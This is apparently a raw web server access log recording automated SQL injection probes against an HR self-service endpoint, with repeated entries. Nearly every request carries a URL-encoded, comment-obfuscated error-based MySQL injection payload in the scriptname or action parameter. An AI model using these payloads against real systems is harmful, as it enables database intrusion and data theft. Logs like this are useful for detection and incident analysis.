100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f766246%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45786b33%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FDA8e&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f766246%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45786b33%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FDA8e&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x66334245%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x714b4d43%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FoFUf&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x66334245%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x714b4d43%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FoFUf&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x70455136%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5552574a%29%2C6420%29--%2F%2A%2A%2FKuQO&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x70455136%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5552574a%29%2C6420%29--%2F%2A%2A%2FKuQO&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x38723751%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a6a6e5a%29%2C6420%29--%2F%2A%2A%2FtMmg&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x38723751%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a6a6e5a%29%2C6420%29--%2F%2A%2A%2FtMmg&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x35733951%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50653039%29%29--%2F%2A%2A%2FsKy0&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x35733951%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50653039%29%29--%2F%2A%2A%2FsKy0&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x79756334%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39426c74%29%29--%2F%2A%2A%2FRs4e&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x79756334%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39426c74%29%29--%2F%2A%2A%2FRs4e&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6f766246%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45786b33%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FDA8e&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x66334245%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x714b4d43%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FoFUf&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5a365731%2C%28NULL%29%2C0x48494c4b%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FFctR%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5a365731%2C%28NULL%29%2C0x48494c4b%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FFctR%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x524b7163%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46347079%29%29x%29%29--%2F%2A%2A%2FkZKV&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x524b7163%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46347079%29%29x%29%29--%2F%2A%2A%2FkZKV&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6d4f6845%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5670594f%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FG4fi&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6d4f6845%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5670594f%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FG4fi&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x74776b44%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f58524d%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F411A&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x74776b44%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f58524d%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F411A&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x79543132%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c42477a%29%29x%29%29--%2F%2A%2A%2FnmtR&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:41 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x79543132%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6c42477a%29%29x%29%29--%2F%2A%2A%2FnmtR&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x64675038%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x514f4637%29%29%2C1%29--%2F%2A%2A%2FBcRq&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x64675038%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x514f4637%29%29%2C1%29--%2F%2A%2A%2FBcRq&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4f375175%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55506f36%29%29%2C1%29--%2F%2A%2A%2FOj21&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4f375175%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55506f36%29%29%2C1%29--%2F%2A%2A%2FOj21&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x42616347%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57446364%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fh3ss&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x42616347%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x57446364%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Fh3ss&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x636a7668%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49704757%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FMuxh&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x636a7668%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49704757%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FMuxh&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x70455136%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5552574a%29%2C6420%29--%2F%2A%2A%2FKuQO&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x38723751%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a6a6e5a%29%2C6420%29--%2F%2A%2A%2FtMmg&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x79756334%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39426c74%29%29--%2F%2A%2A%2FRs4e&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%27%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x35733951%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x50653039%29%29--%2F%2A%2A%2FsKy0&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:42 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
